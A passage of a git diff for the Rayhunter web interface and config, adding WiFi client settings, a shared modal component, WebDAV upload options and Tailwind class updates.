placeholder="MyWiFiNetwork"
|
||||
class="flex-1 px-3 py-2 border border-gray-300 rounded-md focus:outline-hidden focus:ring-2 focus:ring-rayhunter-blue"
|
||||
/>
|
||||
<button
|
||||
type="button"
|
||||
onclick={do_scan}
|
||||
disabled={scanning}
|
||||
class="px-3 py-2 text-sm bg-gray-100 hover:bg-gray-200 disabled:opacity-50 border border-gray-300 rounded-md"
|
||||
>
|
||||
{scanning ? 'Scanning...' : 'Scan'}
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{#if scanError}
|
||||
<p class="text-xs text-red-600">{scanError}</p>
|
||||
{/if}
|
||||
|
||||
{#if scanResults.length > 0}
|
||||
<div
|
||||
class="border border-gray-200 rounded-md max-h-40 overflow-y-auto divide-y divide-gray-200"
|
||||
>
|
||||
{#each scanResults as network}
|
||||
<button
|
||||
type="button"
|
||||
class="w-full px-3 py-2 text-left text-sm hover:bg-gray-50 flex justify-between"
|
||||
onclick={() => select_network(network)}
|
||||
>
|
||||
<span>{network.ssid}</span>
|
||||
<span class="text-gray-400"
|
||||
>{network.signal_dbm} dBm · {network.security}</span
|
||||
>
|
||||
</button>
|
||||
{/each}
|
||||
</div>
|
||||
{/if}
|
||||
|
||||
{#if config.wifi_ssid}
|
||||
<div>
|
||||
<label
|
||||
for="wifi_security"
|
||||
class="block text-sm font-medium text-gray-700 mb-1"
|
||||
>
|
||||
Security Type
|
||||
</label>
|
||||
<select
|
||||
id="wifi_security"
|
||||
bind:value={config.wifi_security}
|
||||
class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-hidden focus:ring-2 focus:ring-rayhunter-blue"
|
||||
>
|
||||
<option value="wpa_psk">WPA2 (WPA-PSK)</option>
|
||||
<option value="sae">WPA3 (SAE)</option>
|
||||
</select>
|
||||
</div>
|
||||
{/if}
|
||||
|
||||
<div>
|
||||
<label
|
||||
for="wifi_password"
|
||||
class="block text-sm font-medium text-gray-700 mb-1"
|
||||
>
|
||||
WiFi Password
|
||||
</label>
|
||||
<input
|
||||
id="wifi_password"
|
||||
type="password"
|
||||
bind:value={config.wifi_password}
|
||||
placeholder="Enter password"
|
||||
class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-hidden focus:ring-2 focus:ring-rayhunter-blue"
|
||||
/>
|
||||
<p class="text-xs text-gray-500 mt-1">
|
||||
Changing the network requires re-entering the password.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{#if config.wifi_ssid}
|
||||
<div>
|
||||
<label
|
||||
for="dns_servers"
|
||||
class="block text-sm font-medium text-gray-700 mb-1"
|
||||
>
|
||||
DNS Servers
|
||||
</label>
|
||||
<input
|
||||
id="dns_servers"
|
||||
type="text"
|
||||
bind:value={dnsServersInput}
|
||||
placeholder="9.9.9.9, 149.112.112.112"
|
||||
class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-hidden focus:ring-2 focus:ring-rayhunter-blue"
|
||||
/>
|
||||
<p class="text-xs text-gray-500 mt-1">
|
||||
Comma-separated. Used when WiFi is active. Defaults to 9.9.9.9,
|
||||
149.112.112.112 (Quad9).
|
||||
</p>
|
||||
</div>
|
||||
{/if}
|
||||
</div>
|
||||
{/if}
|
||||
|
||||
<div class="border-t border-gray-200 pt-4 mt-6">
|
||||
<h3 class="text-lg font-semibold text-gray-800 mb-4">
|
||||
Analyzer Heuristic Settings
|
||||
</h3>
|
||||
@@ -293,7 +680,7 @@
|
||||
id="imsi_requested"
|
||||
type="checkbox"
|
||||
bind:checked={config.analyzers.imsi_requested}
|
||||
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded"
|
||||
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded-sm"
|
||||
/>
|
||||
<label for="imsi_requested" class="ml-2 block text-sm text-gray-700">
|
||||
IMSI Requested Heuristic
|
||||
@@ -305,7 +692,7 @@
|
||||
id="connection_redirect_2g_downgrade"
|
||||
type="checkbox"
|
||||
bind:checked={config.analyzers.connection_redirect_2g_downgrade}
|
||||
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded"
|
||||
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded-sm"
|
||||
/>
|
||||
<label
|
||||
for="connection_redirect_2g_downgrade"
|
||||
@@ -320,7 +707,7 @@
|
||||
id="lte_sib6_and_7_downgrade"
|
||||
type="checkbox"
|
||||
bind:checked={config.analyzers.lte_sib6_and_7_downgrade}
|
||||
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded"
|
||||
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded-sm"
|
||||
/>
|
||||
<label
|
||||
for="lte_sib6_and_7_downgrade"
|
||||
@@ -335,7 +722,7 @@
|
||||
id="null_cipher"
|
||||
type="checkbox"
|
||||
bind:checked={config.analyzers.null_cipher}
|
||||
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded"
|
||||
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded-sm"
|
||||
/>
|
||||
<label for="null_cipher" class="ml-2 block text-sm text-gray-700">
|
||||
Null Cipher Heuristic
|
||||
@@ -347,7 +734,7 @@
|
||||
id="nas_null_cipher"
|
||||
type="checkbox"
|
||||
bind:checked={config.analyzers.nas_null_cipher}
|
||||
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded"
|
||||
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded-sm"
|
||||
/>
|
||||
<label for="nas_null_cipher" class="ml-2 block text-sm text-gray-700">
|
||||
NAS Null Cipher Heuristic
|
||||
@@ -359,7 +746,7 @@
|
||||
id="incomplete_sib"
|
||||
type="checkbox"
|
||||
bind:checked={config.analyzers.incomplete_sib}
|
||||
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded"
|
||||
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded-sm"
|
||||
/>
|
||||
<label for="incomplete_sib" class="ml-2 block text-sm text-gray-700">
|
||||
Incomplete SIB Heuristic
|
||||
@@ -371,7 +758,7 @@
|
||||
id="test_analyzer"
|
||||
type="checkbox"
|
||||
bind:checked={config.analyzers.test_analyzer}
|
||||
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded"
|
||||
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded-sm"
|
||||
/>
|
||||
<label for="test_analyzer" class="ml-2 block text-sm text-gray-700">
|
||||
Test Heuristic (noisy!)
|
||||
@@ -382,7 +769,7 @@
|
||||
id="diagnostic_analyzer"
|
||||
type="checkbox"
|
||||
bind:checked={config.analyzers.diagnostic_analyzer}
|
||||
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded"
|
||||
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded-sm"
|
||||
/>
|
||||
<label
|
||||
for="diagnostic_analyzer"
|
||||
@@ -426,7 +813,7 @@
|
||||
</form>
|
||||
{#if message}
|
||||
<div
|
||||
class="mt-4 p-3 rounded {messageType === 'error'
|
||||
class="mt-4 p-3 rounded-sm {messageType === 'error'
|
||||
? 'bg-red-100 text-red-700'
|
||||
: 'bg-green-100 text-green-700'}"
|
||||
>
|
||||
@@ -438,5 +825,5 @@
|
||||
Failed to load configuration. Please try reloading the page.
|
||||
</div>
|
||||
{/if}
|
||||
{/if}
|
||||
</div>
|
||||
</div>
|
||||
</Modal>
|
||||
|
||||
@@ -5,8 +5,8 @@
|
||||
<div class="flex flex-row justify-end gap-2">
|
||||
<DeleteButton
|
||||
text="Delete ALL Recordings"
|
||||
prompt={`Are you sure you want to delete ALL recordings?`}
|
||||
url={`/api/delete-all-recordings`}
|
||||
prompt="Are you sure you want to delete ALL recordings?"
|
||||
url="/api/delete-all-recordings"
|
||||
name="all recodings"
|
||||
/>
|
||||
</div>
|
||||
|
||||
@@ -1,34 +1,13 @@
|
||||
<script lang="ts">
|
||||
import { get_logs } from '$lib/utils.svelte';
|
||||
import { onMount } from 'svelte';
|
||||
import Modal from './Modal.svelte';
|
||||
|
||||
let { shown = $bindable() }: { shown: boolean } = $props();
|
||||
let content: string | undefined = $state(undefined);
|
||||
|
||||
onMount(() => {
|
||||
// Used by LogView modal
|
||||
window.addEventListener('scroll', () => {
|
||||
document.documentElement.style.setProperty('--scroll-y', `${window.scrollY}px`);
|
||||
});
|
||||
});
|
||||
|
||||
$effect(() => {
|
||||
if (shown) {
|
||||
const scrollY = document.documentElement.style.getPropertyValue('--scroll-y');
|
||||
const body = document.body;
|
||||
body.style.position = 'fixed';
|
||||
body.style.top = `-${scrollY}`;
|
||||
} else {
|
||||
const body = document.body;
|
||||
const scrollY = body.style.top;
|
||||
body.style.position = '';
|
||||
body.style.top = '';
|
||||
window.scrollTo(0, parseInt(scrollY || '0') * -1);
|
||||
}
|
||||
|
||||
const interval = setInterval(async () => {
|
||||
try {
|
||||
// Don't update UI if browser tab isn't visible
|
||||
if (content !== undefined && (document.hidden || !shown)) {
|
||||
return;
|
||||
}
|
||||
@@ -42,33 +21,8 @@
|
||||
});
|
||||
</script>
|
||||
|
||||
{#if shown}
|
||||
<div
|
||||
class="fixed left-5 right-5 top-5 bottom-5 z-50 bg-white border border-white rounded-md
|
||||
flex flex-col p-2 drop-shadow"
|
||||
>
|
||||
<div class="flex h-20 justify-between items-center p-1">
|
||||
<span class="text-2xl mb-2">Log</span>
|
||||
<button onclick={() => (shown = false)} aria-label="close">
|
||||
<svg
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
aria-hidden="true"
|
||||
width="24"
|
||||
height="24"
|
||||
fill="currentColor"
|
||||
viewBox="0 0 24 24"
|
||||
>
|
||||
<path
|
||||
fill-rule="evenodd"
|
||||
clip-rule="evenodd"
|
||||
d="M5.29289 5.29289C5.68342 4.90237 6.31658 4.90237 6.70711 5.29289L12 10.5858L17.2929 5.29289C17.6834 4.90237 18.3166 4.90237 18.7071 5.29289C19.0976 5.68342 19.0976 6.31658 18.7071 6.70711L13.4142 12L18.7071 17.2929C19.0976 17.6834 19.0976 18.3166 18.7071 18.7071C18.3166 19.0976 17.6834 19.0976 17.2929 18.7071L12 13.4142L6.70711 18.7071C6.31658 19.0976 5.68342 19.0976 5.29289 18.7071C4.90237 18.3166 4.90237 17.6834 5.29289 17.2929L10.5858 12L5.29289 6.70711C4.90237 6.31658 4.90237 5.68342 5.29289 5.29289Z"
|
||||
fill="#0F1729"
|
||||
/>
|
||||
</svg>
|
||||
</button>
|
||||
</div>
|
||||
<div class="bg-gray-100 border border-gray-100 rounded-md overflow-scroll">
|
||||
<pre class="m-2">{content}</pre>
|
||||
</div>
|
||||
<Modal bind:shown title="Logs">
|
||||
<div class="bg-gray-100 border border-gray-100 rounded-md overflow-scroll">
|
||||
<pre class="m-2">{content}</pre>
|
||||
</div>
|
||||
{/if}
|
||||
</Modal>
|
||||
|
||||
@@ -44,7 +44,7 @@
|
||||
</script>
|
||||
|
||||
<div
|
||||
class="{status_row_color} {status_border_color} drop-shadow p-4 flex flex-col gap-2 border rounded-md flex-1 overflow-x-auto overflow-y-hidden"
|
||||
class="{status_row_color} {status_border_color} drop-shadow-sm p-4 flex flex-col gap-2 border rounded-md flex-1 overflow-x-auto overflow-y-hidden"
|
||||
>
|
||||
{#if current}
|
||||
<div class="flex flex-row justify-between gap-2">
|
||||
@@ -82,7 +82,7 @@
|
||||
>
|
||||
</div>
|
||||
{#if entry.stop_reason}
|
||||
<div class="bg-yellow-50 border border-yellow-300 rounded p-2 text-yellow-800 text-sm">
|
||||
<div class="bg-yellow-50 border border-yellow-300 rounded-sm p-2 text-yellow-800 text-sm">
|
||||
{entry.stop_reason}
|
||||
</div>
|
||||
{/if}
|
||||
@@ -100,7 +100,7 @@
|
||||
/>
|
||||
{/if}
|
||||
</div>
|
||||
<div class="border-b {analysis_visible ? '' : 'hidden'}">
|
||||
<div class="border-b border-gray-200 {analysis_visible ? '' : 'hidden'}">
|
||||
<AnalysisView {entry} {manager} {current} />
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@@ -16,7 +16,7 @@
|
||||
{#if $screenIsLgUp}
|
||||
<table class="table-auto text-left table">
|
||||
<thead>
|
||||
<tr class="bg-gray-100 drop-shadow">
|
||||
<tr class="bg-gray-100 drop-shadow-sm">
|
||||
<th class="p-2" scope="col">ID</th>
|
||||
<th class="p-2" scope="col">Started</th>
|
||||
<th class="p-2" scope="col">Last Message</th>
|
||||
|
||||
@@ -36,7 +36,7 @@
|
||||
}
|
||||
</script>
|
||||
|
||||
<tr class="{status_row_color} drop-shadow">
|
||||
<tr class="{status_row_color} drop-shadow-sm">
|
||||
<td class="p-2">{entry.name}</td>
|
||||
<td class="p-2">{date_formatter.format(entry.start_time)}</td>
|
||||
<td class="p-2"
|
||||
@@ -65,8 +65,8 @@
|
||||
</td>
|
||||
{/if}
|
||||
</tr>
|
||||
<tr class="{alternating_row_color} border-b {analysis_visible ? '' : 'hidden'}">
|
||||
<td class="border-t border-dashed p-2" colspan="9">
|
||||
<tr class="{alternating_row_color} border-b border-gray-200 {analysis_visible ? '' : 'hidden'}">
|
||||
<td class="border-t border-gray-200 border-dashed p-2" colspan="9">
|
||||
<AnalysisView {entry} {manager} {current} />
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
64
daemon/web/src/lib/components/Modal.svelte
Normal file
64
daemon/web/src/lib/components/Modal.svelte
Normal file
@@ -0,0 +1,64 @@
|
||||
<script lang="ts">
|
||||
import type { Snippet } from 'svelte';
|
||||
import { onMount } from 'svelte';
|
||||
|
||||
let {
|
||||
shown = $bindable(),
|
||||
title,
|
||||
children,
|
||||
}: { shown: boolean; title: string; children: Snippet } = $props();
|
||||
|
||||
onMount(() => {
|
||||
const handler = () => {
|
||||
document.documentElement.style.setProperty('--scroll-y', `${window.scrollY}px`);
|
||||
};
|
||||
window.addEventListener('scroll', handler);
|
||||
return () => window.removeEventListener('scroll', handler);
|
||||
});
|
||||
|
||||
$effect(() => {
|
||||
if (shown) {
|
||||
const scrollY = document.documentElement.style.getPropertyValue('--scroll-y');
|
||||
const body = document.body;
|
||||
body.style.position = 'fixed';
|
||||
body.style.top = `-${scrollY}`;
|
||||
} else {
|
||||
const body = document.body;
|
||||
const scrollY = body.style.top;
|
||||
body.style.position = '';
|
||||
body.style.top = '';
|
||||
window.scrollTo(0, parseInt(scrollY || '0') * -1);
|
||||
}
|
||||
});
|
||||
</script>
|
||||
|
||||
{#if shown}
|
||||
<div
|
||||
class="fixed left-5 right-5 top-5 bottom-5 z-50 bg-white border border-white rounded-md
|
||||
flex flex-col p-2 drop-shadow-sm"
|
||||
>
|
||||
<div class="flex justify-between items-center p-1">
|
||||
<span class="text-2xl">{title}</span>
|
||||
<button onclick={() => (shown = false)} aria-label="close">
|
||||
<svg
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
aria-hidden="true"
|
||||
width="24"
|
||||
height="24"
|
||||
fill="currentColor"
|
||||
viewBox="0 0 24 24"
|
||||
>
|
||||
<path
|
||||
fill-rule="evenodd"
|
||||
clip-rule="evenodd"
|
||||
d="M5.29289 5.29289C5.68342 4.90237 6.31658 4.90237 6.70711 5.29289L12 10.5858L17.2929 5.29289C17.6834 4.90237 18.3166 4.90237 18.7071 5.29289C19.0976 5.68342 19.0976 6.31658 18.7071 6.70711L13.4142 12L18.7071 17.2929C19.0976 17.6834 19.0976 18.3166 18.7071 18.7071C18.3166 19.0976 17.6834 19.0976 17.2929 18.7071L12 13.4142L6.70711 18.7071C6.31658 19.0976 5.68342 19.0976 5.29289 18.7071C4.90237 18.3166 4.90237 17.6834 5.29289 17.2929L10.5858 12L5.29289 6.70711C4.90237 6.31658 4.90237 5.68342 5.29289 5.29289Z"
|
||||
fill="#0F1729"
|
||||
/>
|
||||
</svg>
|
||||
</button>
|
||||
</div>
|
||||
<div class="overflow-y-auto flex-1">
|
||||
{@render children()}
|
||||
</div>
|
||||
</div>
|
||||
{/if}
|
||||
@@ -6,7 +6,7 @@
|
||||
stats: SystemStats;
|
||||
} = $props();
|
||||
|
||||
const table_cell_classes = 'border p-1 lg:p-2';
|
||||
const table_cell_classes = 'border border-gray-200 p-1 lg:p-2';
|
||||
|
||||
let battery_level = $derived(stats.battery_status ? stats.battery_status.level : 0);
|
||||
let bar_color = $derived.by(() => {
|
||||
@@ -36,29 +36,29 @@
|
||||
</script>
|
||||
|
||||
<div
|
||||
class="flex-1 drop-shadow p-4 flex flex-col gap-2 border rounded-md bg-gray-100 border-gray-100"
|
||||
class="flex-1 drop-shadow-sm p-4 flex flex-col gap-2 border rounded-md bg-gray-100 border-gray-100"
|
||||
>
|
||||
<p class="text-xl mb-2">System Information</p>
|
||||
<table class="table-auto border">
|
||||
<table class="table-auto border border-gray-200">
|
||||
<tbody>
|
||||
<tr class="border">
|
||||
<tr class="border border-gray-200">
|
||||
<th class={table_cell_classes}> Rayhunter Version </th>
|
||||
<td class={table_cell_classes}>{stats.runtime_metadata.rayhunter_version}</td>
|
||||
</tr>
|
||||
<tr class="border">
|
||||
<tr class="border border-gray-200">
|
||||
<th class={table_cell_classes}> Storage </th>
|
||||
<td class={table_cell_classes}>
|
||||
{stats.disk_stats.used_percent} used ({stats.disk_stats.used_size} used / {stats
|
||||
.disk_stats.available_size} available)
|
||||
</td>
|
||||
</tr>
|
||||
<tr class="border-b">
|
||||
<tr class="border-b border-gray-200">
|
||||
<th class={table_cell_classes}> Memory (RAM) </th>
|
||||
<td class={table_cell_classes}>
|
||||
Free: {stats.memory_stats.free}, Used: {stats.memory_stats.used}
|
||||
</td>
|
||||
</tr>
|
||||
<tr class="border-b">
|
||||
<tr class="border-b border-gray-200">
|
||||
<th class={table_cell_classes}> Battery </th>
|
||||
<td class={table_cell_classes}>
|
||||
<svg
|
||||
|
||||
@@ -12,6 +12,7 @@ interface JsonManifestEntry {
|
||||
last_message_time: string;
|
||||
qmdl_size_bytes: number;
|
||||
stop_reason: string | null;
|
||||
upload_time: string | null;
|
||||
}
|
||||
|
||||
export class Manifest {
|
||||
@@ -59,6 +60,7 @@ export class ManifestEntry {
|
||||
public analysis_status: AnalysisStatus | undefined = $state(undefined);
|
||||
public analysis_report: AnalysisReport | string | undefined = $state(undefined);
|
||||
public stop_reason: string | undefined = $state(undefined);
|
||||
public upload_time: Date | undefined = $state(undefined);
|
||||
|
||||
constructor(json: JsonManifestEntry) {
|
||||
this.name = json.name;
|
||||
@@ -70,6 +72,9 @@ export class ManifestEntry {
|
||||
if (json.stop_reason) {
|
||||
this.stop_reason = json.stop_reason;
|
||||
}
|
||||
if (json.upload_time) {
|
||||
this.upload_time = new Date(json.upload_time);
|
||||
}
|
||||
}
|
||||
|
||||
get_readable_qmdl_size(): string {
|
||||
|
||||
@@ -19,7 +19,9 @@ export function parse_ndjson(input: string): NewlineDeliminatedJson {
|
||||
// however, if we've reached the end of the input, that means we
|
||||
// were given invalid nd-json
|
||||
if (lines.length === 0) {
|
||||
throw new Error(`unable to parse invalid nd-json: ${e}, "${current_line}"`);
|
||||
throw new Error(`unable to parse invalid nd-json: ${e}, "${current_line}"`, {
|
||||
cause: e,
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -18,7 +18,18 @@ export enum enabled_notifications {
|
||||
LowBattery = 'LowBattery',
|
||||
}
|
||||
|
||||
export interface WebdavConfig {
|
||||
url: string;
|
||||
username: string | null;
|
||||
password: string | null;
|
||||
upload_timeout_secs: number;
|
||||
poll_interval_secs: number;
|
||||
min_age_secs: number;
|
||||
delete_on_upload: boolean;
|
||||
}
|
||||
|
||||
export interface Config {
|
||||
device: string;
|
||||
ui_level: number;
|
||||
colorblind_mode: boolean;
|
||||
key_input_mode: number;
|
||||
@@ -27,6 +38,35 @@ export interface Config {
|
||||
analyzers: AnalyzerConfig;
|
||||
min_space_to_start_recording_mb: number;
|
||||
min_space_to_continue_recording_mb: number;
|
||||
wifi_ssid: string | null;
|
||||
wifi_password: string | null;
|
||||
wifi_security: 'wpa_psk' | 'sae' | null;
|
||||
wifi_enabled: boolean;
|
||||
dns_servers: string[] | null;
|
||||
firewall_restrict_outbound: boolean;
|
||||
firewall_allowed_ports: number[] | null;
|
||||
webdav: WebdavConfig;
|
||||
}
|
||||
|
||||
export interface WifiStatus {
|
||||
state: string;
|
||||
ssid?: string;
|
||||
ip?: string;
|
||||
error?: string;
|
||||
}
|
||||
|
||||
export interface WifiNetwork {
|
||||
ssid: string;
|
||||
signal_dbm: number;
|
||||
security: string;
|
||||
}
|
||||
|
||||
export async function get_wifi_status(): Promise<WifiStatus> {
|
||||
return JSON.parse(await req('GET', '/api/wifi-status'));
|
||||
}
|
||||
|
||||
export async function scan_wifi_networks(): Promise<WifiNetwork[]> {
|
||||
return JSON.parse(await req('POST', '/api/wifi-scan'));
|
||||
}
|
||||
|
||||
export async function req(method: string, url: string, json_body?: unknown): Promise<string> {
|
||||
|
||||
@@ -21,6 +21,7 @@
|
||||
let system_stats: SystemStats | undefined = $state(undefined);
|
||||
let update_error: string | undefined = $state(undefined);
|
||||
let logview_shown: boolean = $state(false);
|
||||
let config_shown: boolean = $state(false);
|
||||
$effect(() => {
|
||||
const interval = setInterval(async () => {
|
||||
try {
|
||||
@@ -55,7 +56,10 @@
|
||||
</script>
|
||||
|
||||
<LogView bind:shown={logview_shown} />
|
||||
<div class="p-4 xl:px-8 bg-rayhunter-blue drop-shadow flex flex-row justify-between items-center">
|
||||
<ConfigForm bind:shown={config_shown} />
|
||||
<div
|
||||
class="p-4 xl:px-8 bg-rayhunter-blue drop-shadow-sm flex flex-row justify-between items-center"
|
||||
>
|
||||
<!-- https://www.w3.org/WAI/tutorials/images/decorative/ -->
|
||||
<img src="/rayhunter_text.png" alt="" class="h-10 xl:h-12" />
|
||||
<div class="flex flex-row gap-4">
|
||||
@@ -103,6 +107,33 @@
|
||||
/>
|
||||
</svg>
|
||||
</button>
|
||||
<button onclick={() => (config_shown = true)} class="flex flex-row gap-1 group">
|
||||
<span class="hidden text-white group-hover:text-gray-400 lg:flex">Config</span>
|
||||
<svg
|
||||
class="w-6 h-6 text-white group-hover:text-gray-400"
|
||||
aria-hidden="true"
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
width="24"
|
||||
height="24"
|
||||
fill="none"
|
||||
viewBox="0 0 24 24"
|
||||
>
|
||||
<path
|
||||
stroke="currentColor"
|
||||
stroke-linecap="round"
|
||||
stroke-linejoin="round"
|
||||
stroke-width="2"
|
||||
d="M21 13v-2a1 1 0 0 0-1-1h-.757l-.707-1.707.535-.536a1 1 0 0 0 0-1.414l-1.414-1.414a1 1 0 0 0-1.414 0l-.536.535L14 5.757V5a1 1 0 0 0-1-1h-2a1 1 0 0 0-1 1v.757L8.293 6.464l-.536-.535a1 1 0 0 0-1.414 0L4.929 7.343a1 1 0 0 0 0 1.414l.535.536L4.757 11H4a1 1 0 0 0-1 1v2a1 1 0 0 0 1 1h.757l.707 1.707-.535.536a1 1 0 0 0 0 1.414l1.414 1.414a1 1 0 0 0 1.414 0l.536-.535L10 18.243V19a1 1 0 0 0 1 1h2a1 1 0 0 0 1-1v-.757l1.707-.707.536.535a1 1 0 0 0 1.414 0l1.414-1.414a1 1 0 0 0 0-1.414l-.535-.536.707-1.707H20a1 1 0 0 0 1-1Z"
|
||||
/>
|
||||
<path
|
||||
stroke="currentColor"
|
||||
stroke-linecap="round"
|
||||
stroke-linejoin="round"
|
||||
stroke-width="2"
|
||||
d="M12 15a3 3 0 1 0 0-6 3 3 0 0 0 0 6Z"
|
||||
/>
|
||||
</svg>
|
||||
</button>
|
||||
<div class="w-px bg-white/30 self-stretch"></div>
|
||||
<a
|
||||
class="flex flex-row gap-1 group"
|
||||
@@ -175,7 +206,7 @@
|
||||
<div class="m-4 xl:mx-8 flex flex-col gap-4">
|
||||
{#if update_error !== undefined}
|
||||
<div
|
||||
class="bg-red-100 border-red-100 drop-shadow p-4 flex flex-col gap-2 border rounded-md flex-1 justify-between"
|
||||
class="bg-red-100 border-red-100 drop-shadow-sm p-4 flex flex-col gap-2 border rounded-md flex-1 justify-between"
|
||||
>
|
||||
<span class="text-2xl font-bold mb-2 flex flex-row items-center gap-2 text-red-600">
|
||||
<svg
|
||||
@@ -197,7 +228,7 @@
|
||||
</span>
|
||||
<span
|
||||
>This webpage is not currently receiving updates from your Rayhunter device. This
|
||||
could be do loss of connection or some issue with your device.</span
|
||||
could be due to loss of connection or some issue with your device.</span
|
||||
>
|
||||
{#if update_error}
|
||||
<details>
|
||||
@@ -220,7 +251,7 @@
|
||||
/>
|
||||
{:else}
|
||||
<div
|
||||
class="bg-red-100 border-red-100 drop-shadow p-4 flex flex-col gap-2 border rounded-md flex-1 justify-between"
|
||||
class="bg-red-100 border-red-100 drop-shadow-sm p-4 flex flex-col gap-2 border rounded-md flex-1 justify-between"
|
||||
>
|
||||
<span
|
||||
class="text-2xl font-bold mb-2 flex flex-row items-center gap-2 text-red-600"
|
||||
@@ -266,14 +297,13 @@
|
||||
type="checkbox"
|
||||
id="filter_threshold"
|
||||
bind:checked={filter_threshold}
|
||||
class="px-3 py-2 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-rayhunter-blue"
|
||||
class="px-3 py-2 border border-gray-300 rounded-md focus:outline-hidden focus:ring-2 focus:ring-rayhunter-blue"
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
<ManifestTable {entries} server_is_recording={!!current_entry} {manager} />
|
||||
</div>
|
||||
<DeleteAllButton />
|
||||
<ConfigForm />
|
||||
{:else}
|
||||
<div class="flex flex-col justify-center items-center">
|
||||
<!-- https://www.w3.org/WAI/tutorials/images/decorative/ -->
|
||||
|
||||
@@ -1,19 +0,0 @@
|
||||
import type { Config } from 'tailwindcss';
|
||||
import { breakpoints } from './src/theme';
|
||||
|
||||
export default {
|
||||
content: ['./src/**/*.{html,js,svelte,ts}'],
|
||||
|
||||
theme: {
|
||||
extend: {
|
||||
colors: {
|
||||
'rayhunter-blue': '#4e4eb1',
|
||||
'rayhunter-dark-blue': '#3f3da0',
|
||||
'rayhunter-green': '#94ea18',
|
||||
},
|
||||
screens: breakpoints,
|
||||
},
|
||||
},
|
||||
|
||||
plugins: [],
|
||||
} as Config;
|
||||
@@ -1,5 +1,6 @@
|
||||
import { defineConfig } from 'vitest/config';
|
||||
import { sveltekit } from '@sveltejs/kit/vite';
|
||||
import tailwindcss from '@tailwindcss/vite';
|
||||
|
||||
export default defineConfig({
|
||||
server: {
|
||||
@@ -26,7 +27,7 @@ export default defineConfig({
|
||||
},
|
||||
},
|
||||
},
|
||||
plugins: [sveltekit()],
|
||||
plugins: [tailwindcss(), sveltekit()],
|
||||
build: {
|
||||
// Force everything into one HTML file. SvelteKit will still generate
|
||||
// a lot of JS files but they are deadweight and will not be included
|
||||
|
||||
37
dist/config.toml.in
vendored
37
dist/config.toml.in
vendored
@@ -20,11 +20,11 @@ colorblind_mode = false
|
||||
ui_level = 1
|
||||
|
||||
# 0 = rayhunter does not read button presses
|
||||
# 1 = double-tapping the power button starts/stops recordings
|
||||
# 1 = double-tapping the power button starts new recording
|
||||
key_input_mode = 0
|
||||
|
||||
# If set, attempts to send a notification to the url when a new warning is triggered
|
||||
ntfy_url = ""
|
||||
# ntfy_url = "https://ntfy.sh/your-topic"
|
||||
# What notification types to enable. Does nothing if the above ntfy_url is not set.
|
||||
enabled_notifications = ["Warning", "LowBattery"]
|
||||
|
||||
@@ -34,6 +34,39 @@ min_space_to_start_recording_mb = 1
|
||||
# Minimum free space (MB) to continue recording (stops if below this)
|
||||
min_space_to_continue_recording_mb = 1
|
||||
|
||||
# WiFi Client Mode
|
||||
# Toggle wifi_enabled to connect the device to an existing WiFi network.
|
||||
# Credentials are stored separately in wpa_sta.conf and managed via the web UI.
|
||||
wifi_enabled = false
|
||||
|
||||
# DNS servers to use when WiFi client mode is active.
|
||||
# Defaults to ["9.9.9.9", "149.112.112.112"] (Quad9) if not specified.
|
||||
# dns_servers = ["9.9.9.9", "149.112.112.112"]
|
||||
|
||||
# WebDAV Upload
|
||||
# If a [webdav] section is present, finished recordings (both the raw .qmdl file
|
||||
# and its .ndjson analysis output) are uploaded in the background to a WebDAV
|
||||
# server once they've been closed for at least min_age_secs. After a successful
|
||||
# upload the entry is either marked as uploaded in the manifest, or deleted
|
||||
# locally if delete_on_upload = true. With no [webdav] section, no upload
|
||||
# worker runs.
|
||||
#
|
||||
# [webdav]
|
||||
# url = "https://dav.example.com/rayhunter"
|
||||
# # HTTP Basic auth. Both fields are optional; a password without a username is
|
||||
# # rejected and the request is sent unauthenticated.
|
||||
# username = "user"
|
||||
# password = "pass"
|
||||
# # Timeout in seconds for each upload request (default 300).
|
||||
# upload_timeout_secs = 300
|
||||
# # How often the worker scans for eligible entries (default 3600).
|
||||
# poll_interval_secs = 3600
|
||||
# # Minimum age in seconds before an entry becomes eligible for upload
|
||||
# # (default 86400 = 1 day).
|
||||
# min_age_secs = 86400
|
||||
# # Delete the entry locally after a successful upload (default false).
|
||||
# delete_on_upload = false
|
||||
|
||||
# Analyzer Configuration
|
||||
# Enable/disable specific IMSI catcher detection heuristics
|
||||
# See https://github.com/EFForg/rayhunter/blob/main/doc/heuristics.md for details
|
||||
|
||||
@@ -14,6 +14,7 @@
|
||||
- [Re-analyzing recordings](./reanalyzing.md)
|
||||
- [How we analyze a capture](./analyzing-a-capture.md)
|
||||
